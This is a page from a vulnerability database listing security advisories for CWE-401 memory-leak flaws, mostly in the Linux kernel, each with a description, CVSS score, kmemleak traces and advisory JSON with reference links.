Common Weakness Enumeration

CWE-401

Allowed

Missing Release of Memory after Effective Lifetime

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.

2002 vulnerabilities reference this CWE, most recent first.

GHSA-9W4X-CWGM-CCHF

Vulnerability from github – Published: 2022-09-23 00:00 – Updated: 2022-09-27 00:00
VLAI
Details

An issue was discovered in Insyde InsydeH2O with kernel 5.0 through 5.5. The SMI handler for the FwBlockServiceSmm driver uses an untrusted pointer as the location to copy data to an attacker-specified buffer, leading to information disclosure.

Severity
6.0 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-35894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-22T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Insyde InsydeH2O with kernel 5.0 through 5.5. The SMI handler for the FwBlockServiceSmm driver uses an untrusted pointer as the location to copy data to an attacker-specified buffer, leading to information disclosure.",
  "id": "GHSA-9w4x-cwgm-cchf",
  "modified": "2022-09-27T00:00:21Z",
  "published": "2022-09-23T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35894"
    },
    {
      "type": "WEB",
      "url": "https://binarly.io/advisories/BRLY-2022-018/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.insyde.com/security-pledge"
    },
    {
      "type": "WEB",
      "url": "https://www.insyde.com/security-pledge/SA-2022030"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9W73-69H2-5RJG

Vulnerability from github – Published: 2025-10-07 18:31 – Updated: 2026-02-04 00:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

media: i2c: ov772x: Fix memleak in ov772x_probe()

A memory leak was reported when testing ov772x with bpf mock device:

AssertionError: unreferenced object 0xffff888109afa7a8 (size 8): comm "python3", pid 279, jiffies 4294805921 (age 20.681s) hex dump (first 8 bytes): 80 22 88 15 81 88 ff ff ."...... backtrace: [<000000009990b438>] __kmalloc_node+0x44/0x1b0 [<000000009e32f7d7>] kvmalloc_node+0x34/0x180 [<00000000faf48134>] v4l2_ctrl_handler_init_class+0x11d/0x180 [videodev] [<00000000da376937>] ov772x_probe+0x1c3/0x68c [ov772x] [<000000003f0d225e>] i2c_device_probe+0x28d/0x680 [<00000000e0b6db89>] really_probe+0x17c/0x3f0 [<000000001b19fcee>] __driver_probe_device+0xe3/0x170 [<0000000048370519>] driver_probe_device+0x49/0x120 [<000000005ead07a0>] __device_attach_driver+0xf7/0x150 [<0000000043f452b8>] bus_for_each_drv+0x114/0x180 [<00000000358e5596>] __device_attach+0x1e5/0x2d0 [<0000000043f83c5d>] bus_probe_device+0x126/0x140 [<00000000ee0f3046>] device_add+0x810/0x1130 [<00000000e0278184>] i2c_new_client_device+0x359/0x4f0 [<0000000070baf34f>] of_i2c_register_device+0xf1/0x110 [<00000000a9f2159d>] of_i2c_notify+0x100/0x160 unreferenced object 0xffff888119825c00 (size 256): comm "python3", pid 279, jiffies 4294805921 (age 20.681s) hex dump (first 32 bytes): 00 b4 a5 17 81 88 ff ff 00 5e 82 19 81 88 ff ff .........^...... 10 5c 82 19 81 88 ff ff 10 5c 82 19 81 88 ff ff .............. backtrace: [<000000009990b438>] __kmalloc_node+0x44/0x1b0 [<000000009e32f7d7>] kvmalloc_node+0x34/0x180 [<0000000073d88e0b>] v4l2_ctrl_new.cold+0x19b/0x86f [videodev] [<00000000b1f576fb>] v4l2_ctrl_new_std+0x16f/0x210 [videodev] [<00000000caf7ac99>] ov772x_probe+0x1fa/0x68c [ov772x] [<000000003f0d225e>] i2c_device_probe+0x28d/0x680 [<00000000e0b6db89>] really_probe+0x17c/0x3f0 [<000000001b19fcee>] __driver_probe_device+0xe3/0x170 [<0000000048370519>] driver_probe_device+0x49/0x120 [<000000005ead07a0>] __device_attach_driver+0xf7/0x150 [<0000000043f452b8>] bus_for_each_drv+0x114/0x180 [<00000000358e5596>] __device_attach+0x1e5/0x2d0 [<0000000043f83c5d>] bus_probe_device+0x126/0x140 [<00000000ee0f3046>] device_add+0x810/0x1130 [<00000000e0278184>] i2c_new_client_device+0x359/0x4f0 [<0000000070baf34f>] of_i2c_register_device+0xf1/0x110

The reason is that if priv->hdl.error is set, ov772x_probe() jumps to the error_mutex_destroy without doing v4l2_ctrl_handler_free(), and all resources allocated in v4l2_ctrl_handler_init() and v4l2_ctrl_new_std() are leaked.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-07T16:15:46Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: i2c: ov772x: Fix memleak in ov772x_probe()\n\nA memory leak was reported when testing ov772x with bpf mock device:\n\nAssertionError: unreferenced object 0xffff888109afa7a8 (size 8):\n  comm \"python3\", pid 279, jiffies 4294805921 (age 20.681s)\n  hex dump (first 8 bytes):\n    80 22 88 15 81 88 ff ff                          .\"......\n  backtrace:\n    [\u003c000000009990b438\u003e] __kmalloc_node+0x44/0x1b0\n    [\u003c000000009e32f7d7\u003e] kvmalloc_node+0x34/0x180\n    [\u003c00000000faf48134\u003e] v4l2_ctrl_handler_init_class+0x11d/0x180 [videodev]\n    [\u003c00000000da376937\u003e] ov772x_probe+0x1c3/0x68c [ov772x]\n    [\u003c000000003f0d225e\u003e] i2c_device_probe+0x28d/0x680\n    [\u003c00000000e0b6db89\u003e] really_probe+0x17c/0x3f0\n    [\u003c000000001b19fcee\u003e] __driver_probe_device+0xe3/0x170\n    [\u003c0000000048370519\u003e] driver_probe_device+0x49/0x120\n    [\u003c000000005ead07a0\u003e] __device_attach_driver+0xf7/0x150\n    [\u003c0000000043f452b8\u003e] bus_for_each_drv+0x114/0x180\n    [\u003c00000000358e5596\u003e] __device_attach+0x1e5/0x2d0\n    [\u003c0000000043f83c5d\u003e] bus_probe_device+0x126/0x140\n    [\u003c00000000ee0f3046\u003e] device_add+0x810/0x1130\n    [\u003c00000000e0278184\u003e] i2c_new_client_device+0x359/0x4f0\n    [\u003c0000000070baf34f\u003e] of_i2c_register_device+0xf1/0x110\n    [\u003c00000000a9f2159d\u003e] of_i2c_notify+0x100/0x160\nunreferenced object 0xffff888119825c00 (size 256):\n  comm \"python3\", pid 279, jiffies 4294805921 (age 20.681s)\n  hex dump (first 32 bytes):\n    00 b4 a5 17 81 88 ff ff 00 5e 82 19 81 88 ff ff  .........^......\n    10 5c 82 19 81 88 ff ff 10 5c 82 19 81 88 ff ff  .\\.......\\......\n  backtrace:\n    [\u003c000000009990b438\u003e] __kmalloc_node+0x44/0x1b0\n    [\u003c000000009e32f7d7\u003e] kvmalloc_node+0x34/0x180\n    [\u003c0000000073d88e0b\u003e] v4l2_ctrl_new.cold+0x19b/0x86f [videodev]\n    [\u003c00000000b1f576fb\u003e] v4l2_ctrl_new_std+0x16f/0x210 [videodev]\n    [\u003c00000000caf7ac99\u003e] ov772x_probe+0x1fa/0x68c [ov772x]\n    [\u003c000000003f0d225e\u003e] i2c_device_probe+0x28d/0x680\n    [\u003c00000000e0b6db89\u003e] really_probe+0x17c/0x3f0\n    [\u003c000000001b19fcee\u003e] __driver_probe_device+0xe3/0x170\n    [\u003c0000000048370519\u003e] driver_probe_device+0x49/0x120\n    [\u003c000000005ead07a0\u003e] __device_attach_driver+0xf7/0x150\n    [\u003c0000000043f452b8\u003e] bus_for_each_drv+0x114/0x180\n    [\u003c00000000358e5596\u003e] __device_attach+0x1e5/0x2d0\n    [\u003c0000000043f83c5d\u003e] bus_probe_device+0x126/0x140\n    [\u003c00000000ee0f3046\u003e] device_add+0x810/0x1130\n    [\u003c00000000e0278184\u003e] i2c_new_client_device+0x359/0x4f0\n    [\u003c0000000070baf34f\u003e] of_i2c_register_device+0xf1/0x110\n\nThe reason is that if priv-\u003ehdl.error is set, ov772x_probe() jumps to the\nerror_mutex_destroy without doing v4l2_ctrl_handler_free(), and all\nresources allocated in v4l2_ctrl_handler_init() and v4l2_ctrl_new_std()\nare leaked.",
  "id": "GHSA-9w73-69h2-5rjg",
  "modified": "2026-02-04T00:30:27Z",
  "published": "2025-10-07T18:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53637"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1da495101ef7507eb4f4b1dbec2874d740eff251"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/448ce1cd50387b1345ec14eb191ef05f7afc2a26"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7485edb2b6ca5960205c0a49bedfd09bba30e521"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ac93f8ac66e60227bed42d5a023f0e6c15b52c0a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c86d760c1c6855a6131e78d0ddacc48c79324ac3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cc3b6011d7a9f149489eb9420c6305a779162c57"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/dfaafeb8e9537969e8dba75491f732478c7fa9d6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9WX5-5C3V-3QMX

Vulnerability from github – Published: 2022-10-21 12:00 – Updated: 2022-10-24 19:00
VLAI
Details

A vulnerability was found in Linux Kernel and classified as problematic. Affected by this issue is the function rlb_arp_xmit of the file drivers/net/bonding/bond_alb.c of the component IPsec. The manipulation leads to memory leak. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-211928.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-3624"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401",
      "CWE-404"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-21T06:15:00Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in Linux Kernel and classified as problematic. Affected by this issue is the function rlb_arp_xmit of the file drivers/net/bonding/bond_alb.c of the component IPsec. The manipulation leads to memory leak. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-211928.",
  "id": "GHSA-9wx5-5c3v-3qmx",
  "modified": "2022-10-24T19:00:16Z",
  "published": "2022-10-21T12:00:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3624"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/klassert/ipsec-next.git/commit/?id=4f5d33f4f798b1c6d92b613f0087f639d9836971"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.211928"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X2C-7HH8-W98C

Vulnerability from github – Published: 2025-09-15 15:31 – Updated: 2025-12-04 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

ext4: Fix function prototype mismatch for ext4_feat_ktype

With clang's kernel control flow integrity (kCFI, CONFIG_CFI_CLANG), indirect call targets are validated against the expected function pointer prototype to make sure the call target is valid to help mitigate ROP attacks. If they are not identical, there is a failure at run time, which manifests as either a kernel panic or thread getting killed.

ext4_feat_ktype was setting the "release" handler to "kfree", which doesn't have a matching function prototype. Add a simple wrapper with the correct prototype.

This was found as a result of Clang's new -Wcast-function-type-strict flag, which is more sensitive than the simpler -Wcast-function-type, which only checks for type width mismatches.

Note that this code is only reached when ext4 is a loadable module and it is being unloaded:

CFI failure at kobject_put+0xbb/0x1b0 (target: kfree+0x0/0x180; expected type: 0x7c4aa698) ... RIP: 0010:kobject_put+0xbb/0x1b0 ... Call Trace: ext4_exit_sysfs+0x14/0x60 [ext4] cleanup_module+0x67/0xedb [ext4]

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-15T15:15:49Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: Fix function prototype mismatch for ext4_feat_ktype\n\nWith clang\u0027s kernel control flow integrity (kCFI, CONFIG_CFI_CLANG),\nindirect call targets are validated against the expected function\npointer prototype to make sure the call target is valid to help mitigate\nROP attacks. If they are not identical, there is a failure at run time,\nwhich manifests as either a kernel panic or thread getting killed.\n\next4_feat_ktype was setting the \"release\" handler to \"kfree\", which\ndoesn\u0027t have a matching function prototype. Add a simple wrapper\nwith the correct prototype.\n\nThis was found as a result of Clang\u0027s new -Wcast-function-type-strict\nflag, which is more sensitive than the simpler -Wcast-function-type,\nwhich only checks for type width mismatches.\n\nNote that this code is only reached when ext4 is a loadable module and\nit is being unloaded:\n\n CFI failure at kobject_put+0xbb/0x1b0 (target: kfree+0x0/0x180; expected type: 0x7c4aa698)\n ...\n RIP: 0010:kobject_put+0xbb/0x1b0\n ...\n Call Trace:\n  \u003cTASK\u003e\n  ext4_exit_sysfs+0x14/0x60 [ext4]\n  cleanup_module+0x67/0xedb [ext4]",
  "id": "GHSA-9x2c-7hh8-w98c",
  "modified": "2025-12-04T15:30:32Z",
  "published": "2025-09-15T15:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53224"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0a1394e07c5d6bf1bfc25db8589ff1b1bfb6f46a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/118901ad1f25d2334255b3d50512fa20591531cd"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1ba10d3640e9783dad811fe4e24d55465c37c64d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2b69cdd9f9a7f596e3dd31f05f9852940d177924"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/94d8de83286fb1827340eba35b61c308f6b46ead"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/99e3fd21f8fc975c95e8cf76fbf6a3d2656f8f71"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c98077f7598a562f51051eec043be0cb3e1b1b5e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X65-R873-476C

Vulnerability from github – Published: 2025-09-17 15:30 – Updated: 2025-12-11 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

USB: fix memory leak with using debugfs_lookup()

When calling debugfs_lookup() the result must have dput() called on it, otherwise the memory will leak over time. To make things simpler, just call debugfs_lookup_and_remove() instead which handles all of the logic at once.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-17T15:15:40Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: fix memory leak with using debugfs_lookup()\n\nWhen calling debugfs_lookup() the result must have dput() called on it,\notherwise the memory will leak over time.  To make things simpler, just\ncall debugfs_lookup_and_remove() instead which handles all of the logic at\nonce.",
  "id": "GHSA-9x65-r873-476c",
  "modified": "2025-12-11T21:31:25Z",
  "published": "2025-09-17T15:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53359"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/30374434edab20e25776f8ecb4bc9d1e54309487"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6683327b51a601daba32900072349dfa1d4e8fea"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c68ece7baf2aa9783b8244482c03010d477d4a93"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cc00340fb1226a2a3a5cf15473ac417da3c952f1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X8C-4RX4-5MXV

Vulnerability from github – Published: 2025-05-01 15:31 – Updated: 2025-11-07 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

bridge: switchdev: Fix memory leaks when changing VLAN protocol

The bridge driver can offload VLANs to the underlying hardware either via switchdev or the 8021q driver. When the former is used, the VLAN is marked in the bridge driver with the 'BR_VLFLAG_ADDED_BY_SWITCHDEV' private flag.

To avoid the memory leaks mentioned in the cited commit, the bridge driver will try to delete a VLAN via the 8021q driver if the VLAN is not marked with the previously mentioned flag.

When the VLAN protocol of the bridge changes, switchdev drivers are notified via the 'SWITCHDEV_ATTR_ID_BRIDGE_VLAN_PROTOCOL' attribute, but the 8021q driver is also called to add the existing VLANs with the new protocol and delete them with the old protocol.

In case the VLANs were offloaded via switchdev, the above behavior is both redundant and buggy. Redundant because the VLANs are already programmed in hardware and drivers that support VLAN protocol change (currently only mlx5) change the protocol upon the switchdev attribute notification. Buggy because the 8021q driver is called despite these VLANs being marked with 'BR_VLFLAG_ADDED_BY_SWITCHDEV'. This leads to memory leaks [1] when the VLANs are deleted.

Fix by not calling the 8021q driver for VLANs that were already programmed via switchdev.

[1] unreferenced object 0xffff8881f6771200 (size 256): comm "ip", pid 446855, jiffies 4298238841 (age 55.240s) hex dump (first 32 bytes): 00 00 7f 0e 83 88 ff ff 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: [<00000000012819ac>] vlan_vid_add+0x437/0x750 [<00000000f2281fad>] __br_vlan_set_proto+0x289/0x920 [<000000000632b56f>] br_changelink+0x3d6/0x13f0 [<0000000089d25f04>] __rtnl_newlink+0x8ae/0x14c0 [<00000000f6276baf>] rtnl_newlink+0x5f/0x90 [<00000000746dc902>] rtnetlink_rcv_msg+0x336/0xa00 [<000000001c2241c0>] netlink_rcv_skb+0x11d/0x340 [<0000000010588814>] netlink_unicast+0x438/0x710 [<00000000e1a4cd5c>] netlink_sendmsg+0x788/0xc40 [<00000000e8992d4e>] sock_sendmsg+0xb0/0xe0 [<00000000621b8f91>] _syssendmsg+0x4ff/0x6d0 [<000000000ea26996>] _sys_sendmsg+0x12e/0x1b0 [<00000000684f7e25>] __sys_sendmsg+0xab/0x130 [<000000004538b104>] do_syscall_64+0x3d/0x90 [<0000000091ed9678>] entry_SYSCALL_64_after_hwframe+0x46/0xb0

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-49812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-01T15:16:04Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nbridge: switchdev: Fix memory leaks when changing VLAN protocol\n\nThe bridge driver can offload VLANs to the underlying hardware either\nvia switchdev or the 8021q driver. When the former is used, the VLAN is\nmarked in the bridge driver with the \u0027BR_VLFLAG_ADDED_BY_SWITCHDEV\u0027\nprivate flag.\n\nTo avoid the memory leaks mentioned in the cited commit, the bridge\ndriver will try to delete a VLAN via the 8021q driver if the VLAN is not\nmarked with the previously mentioned flag.\n\nWhen the VLAN protocol of the bridge changes, switchdev drivers are\nnotified via the \u0027SWITCHDEV_ATTR_ID_BRIDGE_VLAN_PROTOCOL\u0027 attribute, but\nthe 8021q driver is also called to add the existing VLANs with the new\nprotocol and delete them with the old protocol.\n\nIn case the VLANs were offloaded via switchdev, the above behavior is\nboth redundant and buggy. Redundant because the VLANs are already\nprogrammed in hardware and drivers that support VLAN protocol change\n(currently only mlx5) change the protocol upon the switchdev attribute\nnotification. Buggy because the 8021q driver is called despite these\nVLANs being marked with \u0027BR_VLFLAG_ADDED_BY_SWITCHDEV\u0027. This leads to\nmemory leaks [1] when the VLANs are deleted.\n\nFix by not calling the 8021q driver for VLANs that were already\nprogrammed via switchdev.\n\n[1]\nunreferenced object 0xffff8881f6771200 (size 256):\n  comm \"ip\", pid 446855, jiffies 4298238841 (age 55.240s)\n  hex dump (first 32 bytes):\n    00 00 7f 0e 83 88 ff ff 00 00 00 00 00 00 00 00  ................\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [\u003c00000000012819ac\u003e] vlan_vid_add+0x437/0x750\n    [\u003c00000000f2281fad\u003e] __br_vlan_set_proto+0x289/0x920\n    [\u003c000000000632b56f\u003e] br_changelink+0x3d6/0x13f0\n    [\u003c0000000089d25f04\u003e] __rtnl_newlink+0x8ae/0x14c0\n    [\u003c00000000f6276baf\u003e] rtnl_newlink+0x5f/0x90\n    [\u003c00000000746dc902\u003e] rtnetlink_rcv_msg+0x336/0xa00\n    [\u003c000000001c2241c0\u003e] netlink_rcv_skb+0x11d/0x340\n    [\u003c0000000010588814\u003e] netlink_unicast+0x438/0x710\n    [\u003c00000000e1a4cd5c\u003e] netlink_sendmsg+0x788/0xc40\n    [\u003c00000000e8992d4e\u003e] sock_sendmsg+0xb0/0xe0\n    [\u003c00000000621b8f91\u003e] ____sys_sendmsg+0x4ff/0x6d0\n    [\u003c000000000ea26996\u003e] ___sys_sendmsg+0x12e/0x1b0\n    [\u003c00000000684f7e25\u003e] __sys_sendmsg+0xab/0x130\n    [\u003c000000004538b104\u003e] do_syscall_64+0x3d/0x90\n    [\u003c0000000091ed9678\u003e] entry_SYSCALL_64_after_hwframe+0x46/0xb0",
  "id": "GHSA-9x8c-4rx4-5mxv",
  "modified": "2025-11-07T21:31:19Z",
  "published": "2025-05-01T15:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-49812"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/347f1793b573466424c550f2748ed837b6690fe7"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9d45921ee4cb364910097e7d1b7558559c2f9fd2"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f8926e2d2225eb7b7e11cd3fa266aaad9075b767"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/fc16a2c81a3eb1cbba8775f5bdc67856df903a7c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XC4-66PR-RW85

Vulnerability from github – Published: 2024-02-27 12:31 – Updated: 2024-04-10 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

NFC: st21nfca: Fix memory leak in device probe and remove

'phy->pending_skb' is alloced when device probe, but forgot to free in the error handling path and remove path, this cause memory leak as follows:

unreferenced object 0xffff88800bc06800 (size 512): comm "8", pid 11775, jiffies 4295159829 (age 9.032s) hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: [<00000000d66c09ce>] __kmalloc_node_track_caller+0x1ed/0x450 [<00000000c93382b3>] kmalloc_reserve+0x37/0xd0 [<000000005fea522c>] __alloc_skb+0x124/0x380 [<0000000019f29f9a>] st21nfca_hci_i2c_probe+0x170/0x8f2

Fix it by freeing 'pending_skb' in error and remove.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-46924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-27T10:15:07Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFC: st21nfca: Fix memory leak in device probe and remove\n\n\u0027phy-\u003epending_skb\u0027 is alloced when device probe, but forgot to free\nin the error handling path and remove path, this cause memory leak\nas follows:\n\nunreferenced object 0xffff88800bc06800 (size 512):\n  comm \"8\", pid 11775, jiffies 4295159829 (age 9.032s)\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [\u003c00000000d66c09ce\u003e] __kmalloc_node_track_caller+0x1ed/0x450\n    [\u003c00000000c93382b3\u003e] kmalloc_reserve+0x37/0xd0\n    [\u003c000000005fea522c\u003e] __alloc_skb+0x124/0x380\n    [\u003c0000000019f29f9a\u003e] st21nfca_hci_i2c_probe+0x170/0x8f2\n\nFix it by freeing \u0027pending_skb\u0027 in error and remove.",
  "id": "GHSA-9xc4-66pr-rw85",
  "modified": "2024-04-10T15:30:32Z",
  "published": "2024-02-27T12:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46924"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1b9dadba502234eea7244879b8d5d126bfaf9f0c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1cd4063dbc91cf7965d73a6a3855e2028cd4613b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/238920381b8925d070d32d73cd9ce52ab29896fe"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/38c3e320e7ff46f2dc67bc5045333e63d9f8918d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a1e0080a35a16ce3808f7040fe0c3a8fdb052349"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e553265ea56482da5700f56319fda9ff53e7dcb4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C24J-22F8-P2WG

Vulnerability from github – Published: 2022-08-24 00:00 – Updated: 2022-08-26 00:03
VLAI
Details

A flaw was found in the Linux kernel. A memory leak problem was found in mbochs_ioctl in samples/vfio-mdev/mbochs.c in Virtual Function I/O (VFIO) Mediated devices. This flaw could allow a local attacker to leak internal kernel information.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-23T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the Linux kernel. A memory leak problem was found in mbochs_ioctl in samples/vfio-mdev/mbochs.c in Virtual Function I/O (VFIO) Mediated devices. This flaw could allow a local attacker to leak internal kernel information.",
  "id": "GHSA-c24j-22f8-p2wg",
  "modified": "2022-08-26T00:03:37Z",
  "published": "2022-08-24T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/de5494af4815a4c9328536c72741229b7de88e7f"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2021-3736"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1995570"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C269-FCRM-H58R

Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2022-05-24 17:00
VLAI
Details

